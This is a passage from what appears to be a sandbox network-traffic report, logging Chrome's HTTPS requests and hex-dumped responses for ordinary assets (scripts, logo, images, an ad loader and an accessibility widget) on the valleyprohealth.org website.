t=We?Xe.disabled:yi(Xe),e=qe?Ue.disabled:yi(Ue),n=le<=ue,i=!Dt&&le>=de;n&&!t&&bi(We,Xe,!0),!n&&t&&bi(We,Xe,!1),i&&!e&&bi(qe,Ue,!0),!i&&e
2024-04-24 12:44:24 UTC	16384	IN	Data Raw: 67 4e 61 6d 65 3f 65 2e 74 61 72 67 65 74 2e 70 61 72 65 6e 74 4e 6f 64 65 3a 6e 75 6c 6c 3b 69 66 28 6f 29 7b 76 61 72 20 72 3d 54 28 6f 2e 70 61 72 65 6e 74 4e 6f 64 65 2c 22 62 74 6e 22 29 2c 61 3d 6f 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 49 4e 50 55 54 22 29 5b 30 5d 3b 69 66 28 61 29 7b 69 66 28 22 63 68 65 63 6b 62 6f 78 22 3d 3d 3d 61 2e 74 79 70 65 26 26 28 61 2e 63 68 65 63 6b 65 64 3f 28 77 28 6f 2c 75 29 2c 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 69 29 2c 61 2e 72 65 6d 6f 76 65 41 74 74 72 69 62 75 74 65 28 69 29 2c 61 2e 63 68 65 63 6b 65 64 3d 21 31 29 3a 28 62 28 6f 2c 75 29 2c 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 69 29 2c 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 69 2c 69 29 2c 61 2e 63 68 65 Data Ascii: gName?e.target.parentNode:null;if(o){var r=T(o.parentNode,"btn"),a=o.getElementsByTagName("INPUT")[0];if(a){if("checkbox"===a.type&&(a.checked?(w(o,u),a.getAttribute(i),a.removeAttribute(i),a.checked=!1):(b(o,u),a.getAttribute(i),a.setAttribute(i,i),a.che
2024-04-24 12:44:24 UTC	16384	IN	Data Raw: 22 3d 3d 3d 6e 3f 30 3a 31 2c 74 68 69 73 2e 61 75 74 6f 68 69 64 65 3d 21 31 3d 3d 3d 65 2e 61 75 74 6f 68 69 64 65 7c 7c 22 66 61 6c 73 65 22 3d 3d 3d 69 3f 30 3a 31 2c 74 68 69 73 2e 64 65 6c 61 79 3d 70 61 72 73 65 49 6e 74 28 65 2e 64 65 6c 61 79 7c 7c 6f 29 7c 7c 35 30 30 3b 76 61 72 20 72 3d 74 68 69 73 2c 61 3d 30 2c 73 3d 45 28 74 2c 22 2e 74 6f 61 73 74 22 29 2c 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 28 73 2c 22 73 68 6f 77 69 6e 67 22 29 2c 62 28 73 2c 22 73 68 6f 77 22 29 2c 4f 2e 63 61 6c 6c 28 73 2c 22 73 68 6f 77 6e 22 2c 22 74 6f 61 73 74 22 29 2c 72 2e 61 75 74 6f 68 69 64 65 26 26 72 2e 68 69 64 65 28 29 7d 2c 63 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 62 28 73 2c 22 68 69 64 65 22 29 2c 4f 2e 63 61 6c 6c 28 73 2c 22 68 69 64 64 65 6e 22 Data Ascii: "===n?0:1,this.autohide=!1===e.autohide\|\|"false"===i?0:1,this.delay=parseInt(e.delay\|\|o)\|\|500;var r=this,a=0,s=E(t,".toast"),l=function(){w(s,"showing"),b(s,"show"),O.call(s,"shown","toast"),r.autohide&&r.hide()},c=function(){b(s,"hide"),O.call(s,"hidden"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	49807	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:23 UTC	584	OUT	GET /wp-content/plugins/wp-rocket/assets/js/heartbeat.js?ver=3.15.10 HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: http://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:24 UTC	331	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:23 GMT Content-Type: application/javascript Content-Length: 0 Connection: close Last-Modified: Sun, 31 Mar 2024 06:31:23 GMT ETag: "6609033b-0" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	49811	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:24 UTC	630	OUT	GET /wp-content/uploads/2020/07/logo__vpchc-mobile.svg HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: http://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:24 UTC	419	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:24 GMT Content-Type: image/svg+xml Content-Length: 1214 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Mon, 04 Sep 2023 09:20:12 GMT Vary: Accept-Encoding ETag: "64f5a14c-4be" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:24 UTC	1214	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 76 67 20 65 6e 61 62 6c 65 2d 62 61 63 6b 67 72 6f 75 6e 64 3d 22 6e 65 77 20 30 20 30 20 34 38 2e 36 20 34 37 2e 35 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 2e 36 20 34 37 2e 35 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 3c 74 69 74 6c 65 3e 4c 6f 67 6f 3c 2f 74 69 74 6c 65 3e 3c 67 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 30 20 2e 35 29 22 3e 3c 70 61 74 68 20 64 3d 22 6d 33 33 2e 33 2d 2e 35 63 2d 38 2e 35 20 30 2d 31 35 2e 34 20 36 2e 39 2d 31 35 2e 34 20 31 35 2e 34 73 36 2e 39 20 31 35 2e 34 20 31 35 2e 34 20 31 35 2e 34 20 31 35 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><svg enable-background="new 0 0 48.6 47.5" viewBox="0 0 48.6 47.5" xmlns="http://www.w3.org/2000/svg"><title>Logo</title><g transform="translate(0 .5)"><path d="m33.3-.5c-8.5 0-15.4 6.9-15.4 15.4s6.9 15.4 15.4 15.4 15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	49819	18.154.142.121	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:25 UTC	533	OUT	GET /up_loader.1.1.0.js HTTP/1.1 Host: js.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: http://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:25 UTC	535	IN	HTTP/1.1 200 OK Content-Type: application/x-javascript Content-Length: 10104 Connection: close Date: Wed, 24 Apr 2024 09:04:27 GMT Last-Modified: Fri, 12 Apr 2024 16:30:50 GMT ETag: "cd056b72a31972be87dbbf0927dc2dfd" x-amz-server-side-encryption: AES256 Accept-Ranges: bytes Server: AmazonS3 Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 f1d4685902b794df9a425191b2bab030.cloudfront.net (CloudFront) X-Amz-Cf-Pop: LAX50-P4 X-Amz-Cf-Id: sfbjz8vu9M3BlO59FJfWFK9KkeP7sV5Pbb-BHAbQWh9sHse7MVUULQ== Age: 13199
2024-04-24 12:44:25 UTC	10104	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6c 65 74 20 63 3d 6e 75 6c 6c 3b 63 6f 6e 73 74 20 75 3d 5b 22 64 65 62 75 67 22 2c 22 69 6e 66 6f 22 2c 22 77 61 72 6e 22 2c 22 65 72 72 6f 72 22 5d 3b 6c 65 74 20 61 3d 75 2e 72 65 64 75 63 65 28 28 65 2c 64 2c 61 29 3d 3e 28 65 5b 64 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 22 64 65 62 75 67 22 3d 3d 3d 64 3f 22 6c 6f 67 22 3a 64 3b 69 66 28 63 26 26 63 6f 6e 73 6f 6c 65 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 63 6f 6e 73 6f 6c 65 5b 65 5d 29 7b 76 61 72 20 74 3d 75 2e 69 6e 64 65 78 4f 66 28 63 2e 74 6f 53 74 72 69 6e 67 28 29 2e 74 6f 4c 6f 63 61 6c 65 4c 6f 77 65 72 43 61 73 65 28 29 29 3b 69 66 28 21 30 3d 3d 3d 63 7c 7c 2d 31 3c 74 26 Data Ascii: !function(){"use strict";let c=null;const u=["debug","info","warn","error"];let a=u.reduce((e,d,a)=>(e[d]=function(){var e="debug"===d?"log":d;if(c&&console&&"function"==typeof console[e]){var t=u.indexOf(c.toString().toLocaleLowerCase());if(!0===c\|\|-1<t&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	49821	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:26 UTC	714	OUT	GET /wp-content/plugins/google-language-translator/images/flags.png HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://valleyprohealth.org/wp-content/plugins/google-language-translator/css/style.css?ver=6.0.20 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:26 UTC	325	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:26 GMT Content-Type: image/png Content-Length: 54996 Connection: close Last-Modified: Mon, 11 Mar 2024 17:10:42 GMT ETag: "65ef3b12-d6d4" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:26 UTC	16059	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 a9 00 00 02 08 08 06 00 00 00 15 0a ce 4d 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 07 74 49 4d 45 07 e1 04 04 17 04 21 5a 42 33 bf 00 00 20 00 49 44 41 54 78 da ec bd 79 9c 1d 55 99 ff ff 3e 55 75 b7 5e d2 49 93 9d 25 80 09 09 4b 08 c8 2e 04 42 40 16 15 01 15 e3 82 0a 8c 82 f0 15 c4 71 74 be 0e 8e 33 5f c7 d1 19 46 07 07 04 77 45 10 63 04 19 11 85 b0 07 91 c5 b0 24 24 40 d2 49 67 ef ac bd 77 df ad aa ce f2 fb a3 ea de be b7 97 7b eb 76 50 fc f9 ba cf eb 75 e9 ee 50 b7 9e 3a e7 3c e7 d9 ea 79 3e 07 ea 54 a7 3a d5 a9 4e 75 aa 53 9d ea 54 a7 b7 96 04 42 38 47 7c e9 2a 3f ee 38 5c 7e dc 42 de 77 cc c9 98 be 1e b2 f7 dd Data Ascii: PNGIHDRMbKGDpHYstIME!ZB3 IDATxyU>Uu^I%K.B@qt3_FwEc$$@Igw{vPuP:<y>T:NuSTB8G\|*?8\~Bw
2024-04-24 12:44:26 UTC	16384	IN	Data Raw: 69 b1 9d 23 93 89 d4 0a 92 ce ba b8 9e 2e 51 3a e1 66 f6 bc e2 ef ae 57 fd e9 83 f5 d4 91 16 e3 cf 0a 58 b6 e2 f6 93 38 f6 d8 79 45 20 af b1 cc fd 60 56 82 81 e6 46 67 4c 73 af b5 c6 75 5d ae 7e a7 c7 99 67 55 f1 29 ff c2 40 5e be 05 6e b7 85 d5 08 9e 1d ba 3d a2 cc 43 47 e5 a1 f7 c5 a0 9d 24 3d 30 b4 8d 4b 3d 0e 26 41 7a ab 85 db b7 8d 28 a8 51 5e 57 0f 71 82 f6 6b 18 37 74 18 1a 83 97 cb 47 10 52 43 67 6f 16 83 5d 06 58 a6 b5 46 e5 f2 a1 79 d7 64 f3 7e 75 ae 46 93 cf 47 68 ac e2 2f 0c 58 36 96 90 de fd d0 4e b4 81 eb de 7f 70 45 21 8d d4 d2 fc 16 00 79 e5 b2 b0 ef 01 41 3c 01 f9 cc 50 37 63 b9 e1 82 0d 9f 0e 16 d6 72 46 b6 f9 62 43 d7 63 02 6b 0a f4 ad da 82 57 65 ed de f6 c0 cf 38 64 fe fc 62 af ff fe f8 fb 85 5e ff fe b5 6b e1 ec b3 2b ee de 6c ce c3 Data Ascii: i#.Q:fWX8yE `VFgLsu]~gU)@^n=CG$=0K=&Az(Q^Wqk7tGRCgo]XFyd~uFGh/X6NpE!yA<P7crFbCckWe8db^k+l
2024-04-24 12:44:26 UTC	16384	IN	Data Raw: 76 3a f3 f7 ee f8 5e ed 76 62 38 f4 c2 f7 20 f3 79 9c a4 b5 21 51 b4 a1 32 3b aa 68 66 c9 7e d0 da c2 e0 7c 1f e5 fb e8 54 8a 17 6f bd 0d 0a c0 b2 fe 8e 8d f8 9d dd d0 db 17 9f ee bb 67 e5 06 4c 9a 48 7f c7 46 a8 01 b8 5a bf 7e 3d 9d 9d 9d f4 f4 f4 0c eb b8 39 73 e6 b0 6d db b6 d2 29 c8 f1 b5 85 10 cc 99 33 87 2d 5b b6 0c eb cc c9 93 27 b3 7e fd fa da 3a b7 77 d2 d9 9f a1 27 1b 55 82 d9 0e 2d d5 d8 3f be f6 a0 fa 2d 8d 1f de e4 56 97 f5 db 3b 6b ea cc 76 6d 46 e7 7a 31 d1 a0 dd d0 3d 76 8e 97 dd cb ea b6 91 ed da 5c 53 27 21 0c e4 06 18 c8 0d f0 2a af 96 ce 4d 37 c5 f8 59 d6 a9 8c 5c 77 23 4a bf ff f0 ac 0f db 62 dc 1a 3a 07 37 74 10 76 75 21 fb fa 8b 27 83 8f c5 86 8a 68 cd 89 13 18 dc d0 01 05 60 99 01 a2 74 1a 19 04 14 b6 a9 8e 1d 78 63 d0 e9 74 43 35 Data Ascii: v:^vb8 y!Q2;hf~\|TogLHFZ~=9sm)3-['~:w'U-?-V;kvmFz1=v\S'!*M7Y\w#Jb:7tvu!'h`txctC5
2024-04-24 12:44:26 UTC	6169	IN	Data Raw: bc d8 a4 02 ab c1 30 f8 40 08 41 3c 12 27 1a 09 a0 5a 01 b0 cc 0c 59 9e 05 a0 5a 4a 23 b5 ec 87 87 79 2e b6 6b 07 5e d8 00 55 4c a7 30 31 b4 c0 50 21 c8 cb 8c 60 59 11 0c 44 2e 10 82 02 f8 b0 6c 00 84 42 e3 fb 1e ae f4 70 fc e0 bc 22 b3 24 c8 cb 44 09 03 df 30 30 62 31 74 34 52 10 3b c9 b1 c7 16 5c a4 09 21 d0 75 b5 68 d7 c3 77 9c c0 c1 1a c5 75 06 75 1b d4 5f 3c 1a c2 e0 2c ab ac 85 62 64 f4 48 50 1a df f3 50 9e 87 b2 9d 00 1c 6c 1a 25 74 66 01 74 a2 1f 40 67 45 42 e8 9d c1 66 7f 14 57 ec 98 c1 67 9a f6 61 a0 b9 a7 63 1c 49 df 62 7c ad 1f 12 f4 f2 60 70 32 84 c1 85 8b cd 80 f4 1c 8d f1 e7 13 d6 60 59 82 ad 86 c0 10 1e 62 b7 47 d3 bc ed 00 8c 9e 5f 5e 04 5b ee 2c 4a 5f a3 75 ac a8 91 c6 a2 31 2c d7 0a 82 11 5c f0 84 87 87 37 0c 60 99 20 a1 13 68 a5 f1 a3 Data Ascii: 0@A<'ZYZJ#y.k^UL01P!`YD.lBp"$D00b1t4R;\!uhwuu_<,bdHPPl%tft@gEBfWgacIb\|`p2`YbG_^[,J_u1,\7` h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	49820	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:26 UTC	392	OUT	GET /wp-content/uploads/2020/07/logo__vpchc-mobile.svg HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:26 UTC	419	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:26 GMT Content-Type: image/svg+xml Content-Length: 1214 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Mon, 04 Sep 2023 09:20:12 GMT Vary: Accept-Encoding ETag: "64f5a14c-4be" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:26 UTC	1214	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 76 67 20 65 6e 61 62 6c 65 2d 62 61 63 6b 67 72 6f 75 6e 64 3d 22 6e 65 77 20 30 20 30 20 34 38 2e 36 20 34 37 2e 35 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 2e 36 20 34 37 2e 35 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 3c 74 69 74 6c 65 3e 4c 6f 67 6f 3c 2f 74 69 74 6c 65 3e 3c 67 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 30 20 2e 35 29 22 3e 3c 70 61 74 68 20 64 3d 22 6d 33 33 2e 33 2d 2e 35 63 2d 38 2e 35 20 30 2d 31 35 2e 34 20 36 2e 39 2d 31 35 2e 34 20 31 35 2e 34 73 36 2e 39 20 31 35 2e 34 20 31 35 2e 34 20 31 35 2e 34 20 31 35 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><svg enable-background="new 0 0 48.6 47.5" viewBox="0 0 48.6 47.5" xmlns="http://www.w3.org/2000/svg"><title>Logo</title><g transform="translate(0 .5)"><path d="m33.3-.5c-8.5 0-15.4 6.9-15.4 15.4s6.9 15.4 15.4 15.4 15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	49823	104.22.1.204	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:26 UTC	536	OUT	GET /apps/app/dist/js/app.js HTTP/1.1 Host: acsbapp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: http://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:26 UTC	853	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 12:44:26 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 309248 Connection: close x-guploader-uploadid: ABPtcPpu_2Ts5VmDA1VievQea24ZvccRo_oprPp9H5i8yDXSA1nx7sCQJx5IEaH0xu8ONREIGL4_izqg x-goog-generation: 1713715004064626 x-goog-metageneration: 3 x-goog-stored-content-encoding: identity x-goog-stored-content-length: 309248 x-goog-hash: crc32c=r81Twg== x-goog-hash: md5=ZESq/m+1I18avju8TGAc0w== x-goog-storage-class: STANDARD access-control-allow-origin: * access-control-expose-headers: * expires: Thu, 24 Apr 2025 12:44:26 GMT Cache-Control: public, max-age=300, must-revalidate last-modified: Tue, 23 Apr 2024 06:25:11 GMT etag: "6444aafe6fb5235f1abe3bbc4c601cd3" CF-Cache-Status: REVALIDATED Accept-Ranges: bytes Server: cloudflare CF-RAY: 87962f48b8610ad7-LAS
2024-04-24 12:44:26 UTC	516	IN	Data Raw: 28 28 29 3d 3e 7b 76 61 72 20 65 2c 74 2c 69 2c 73 2c 6e 3d 7b 35 32 31 3a 28 65 2c 74 2c 69 29 3d 3e 7b 69 2e 63 68 75 6e 6b 65 64 49 31 38 6e 5f 5f 2e 70 75 62 6c 69 63 50 61 74 68 3d 69 2e 70 2c 69 2e 63 68 75 6e 6b 65 64 49 31 38 6e 5f 5f 2e 73 65 74 49 6e 69 74 69 61 6c 44 69 63 74 69 6f 6e 61 72 79 28 7b 22 61 63 63 65 73 73 77 69 64 67 65 74 2d 75 69 22 3a 7b 6f 70 65 6e 57 69 64 67 65 74 3a 22 4f 70 65 6e 20 61 63 63 65 73 73 69 42 65 3a 20 61 63 63 65 73 73 69 62 69 6c 69 74 79 20 6f 70 74 69 6f 6e 73 2c 20 73 74 61 74 65 6d 65 6e 74 20 61 6e 64 20 68 65 6c 70 22 2c 53 52 5f 54 52 49 47 47 45 52 5f 42 55 54 54 4f 4e 3a 22 55 73 65 20 57 65 62 73 69 74 65 20 49 6e 20 61 20 53 63 72 65 65 6e 2d 52 65 61 64 65 72 20 4d 6f 64 65 22 2c 53 4b 49 50 5f Data Ascii: (()=>{var e,t,i,s,n={521:(e,t,i)=>{i.chunkedI18n__.publicPath=i.p,i.chunkedI18n__.setInitialDictionary({"accesswidget-ui":{openWidget:"Open accessiBe: accessibility options, statement and help",SR_TRIGGER_BUTTON:"Use Website In a Screen-Reader Mode",SKIP_
2024-04-24 12:44:26 UTC	1369	IN	Data Raw: 65 61 64 65 72 47 72 65 65 74 46 6f 72 57 69 6e 64 6f 77 73 22 3a 22 50 72 65 73 73 20 41 6c 74 2b 31 20 66 6f 72 20 73 63 72 65 65 6e 2d 72 65 61 64 65 72 20 6d 6f 64 65 2c 20 41 6c 74 2b 30 20 74 6f 20 63 61 6e 63 65 6c 22 2c 22 70 72 65 6c 6f 61 64 65 72 2e 73 63 72 65 65 6e 52 65 61 64 65 72 47 72 65 65 74 46 6f 72 4d 61 63 22 3a 22 50 72 65 73 73 20 4f 70 74 69 6f 6e 2b 31 20 66 6f 72 20 73 63 72 65 65 6e 2d 72 65 61 64 65 72 20 6d 6f 64 65 2c 20 4f 70 74 69 6f 6e 2b 30 20 74 6f 20 63 61 6e 63 65 6c 22 2c 22 70 72 65 6c 6f 61 64 65 72 2e 73 63 72 65 65 6e 52 65 61 64 65 72 47 72 65 65 74 46 6f 72 54 6f 75 63 68 44 65 76 69 63 65 22 3a 22 46 6f 72 20 73 63 72 65 65 6e 2d 72 65 61 64 65 72 20 6d 6f 64 65 20 2d 20 63 6c 69 63 6b 20 74 68 65 20 66 69 72 Data Ascii: eaderGreetForWindows":"Press Alt+1 for screen-reader mode, Alt+0 to cancel","preloader.screenReaderGreetForMac":"Press Option+1 for screen-reader mode, Option+0 to cancel","preloader.screenReaderGreetForTouchDevice":"For screen-reader mode - click the fir
2024-04-24 12:44:26 UTC	1369	IN	Data Raw: 5f 54 45 4c 45 50 48 4f 4e 45 5f 4c 49 4e 4b 3a 22 43 6c 69 63 6b 20 74 6f 20 43 61 6c 6c 22 2c 46 52 4f 4e 54 5f 45 4d 41 49 4c 5f 4c 49 4e 4b 3a 22 43 6c 69 63 6b 20 74 6f 20 73 65 6e 64 20 61 6e 20 65 6d 61 69 6c 22 2c 53 45 4c 45 43 54 5f 4f 50 54 49 4f 4e 3a 22 53 65 6c 65 63 74 20 61 6e 20 6f 70 74 69 6f 6e 22 2c 43 41 52 54 3a 22 43 61 72 74 22 2c 46 52 4f 4e 54 5f 50 44 46 5f 4c 49 4e 4b 3a 22 54 68 69 73 20 6c 69 6e 6b 20 77 69 6c 6c 20 6f 70 65 6e 20 61 20 50 44 46 20 64 6f 63 75 6d 65 6e 74 22 2c 50 52 4f 43 45 53 53 49 4e 47 5f 44 41 54 41 5f 50 4c 45 41 53 45 5f 57 41 49 54 3a 22 50 72 6f 63 65 73 73 69 6e 67 20 74 68 65 20 64 61 74 61 2c 20 70 6c 65 61 73 65 20 67 69 76 65 20 69 74 20 61 20 66 65 77 20 73 65 63 6f 6e 64 73 2e 2e 2e 22 2c 46 Data Ascii: _TELEPHONE_LINK:"Click to Call",FRONT_EMAIL_LINK:"Click to send an email",SELECT_OPTION:"Select an option",CART:"Cart",FRONT_PDF_LINK:"This link will open a PDF document",PROCESSING_DATA_PLEASE_WAIT:"Processing the data, please give it a few seconds...",F
2024-04-24 12:44:26 UTC	1369	IN	Data Raw: 73 79 6e 63 20 65 3d 3e 69 2e 63 68 75 6e 6b 65 64 49 31 38 6e 5f 5f 2e 67 65 74 44 69 63 74 69 6f 6e 61 72 79 28 65 29 2c 73 65 74 4f 6e 43 68 61 6e 67 65 3a 65 3d 3e 69 2e 63 68 75 6e 6b 65 64 49 31 38 6e 5f 5f 2e 6f 6e 43 68 61 6e 67 65 3d 65 7d 7d 2c 31 37 32 3a 28 65 2c 74 2c 69 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 69 2e 64 28 74 2c 7b 46 4b 3a 28 29 3d 3e 76 2c 58 58 3a 28 29 3d 3e 24 2c 66 46 3a 28 29 3d 3e 6e 2c 68 3a 28 29 3d 3e 41 2c 71 36 3a 28 29 3d 3e 57 7d 29 3b 76 61 72 20 73 2c 6e 2c 61 2c 6f 2c 72 2c 6c 2c 63 2c 64 2c 75 3d 7b 7d 2c 68 3d 5b 5d 2c 70 3d 2f 61 63 69 74 7c 65 78 28 3f 3a 73 7c 67 7c 6e 7c 70 7c 24 29 7c 72 70 68 7c 67 72 69 64 7c 6f 77 73 7c 6d 6e 63 7c 6e 74 77 7c 69 6e 65 5b 63 68 5d 7c 7a 6f 6f 7c 5e 6f 72 Data Ascii: sync e=>i.chunkedI18n__.getDictionary(e),setOnChange:e=>i.chunkedI18n__.onChange=e}},172:(e,t,i)=>{"use strict";i.d(t,{FK:()=>v,XX:()=>$,fF:()=>n,h:()=>A,q6:()=>W});var s,n,a,o,r,l,c,d,u={},h=[],p=/acit\|ex(?:s\|g\|n\|p\|$)\|rph\|grid\|ows\|mnc\|ntw\|ine[ch]\|zoo\|^or
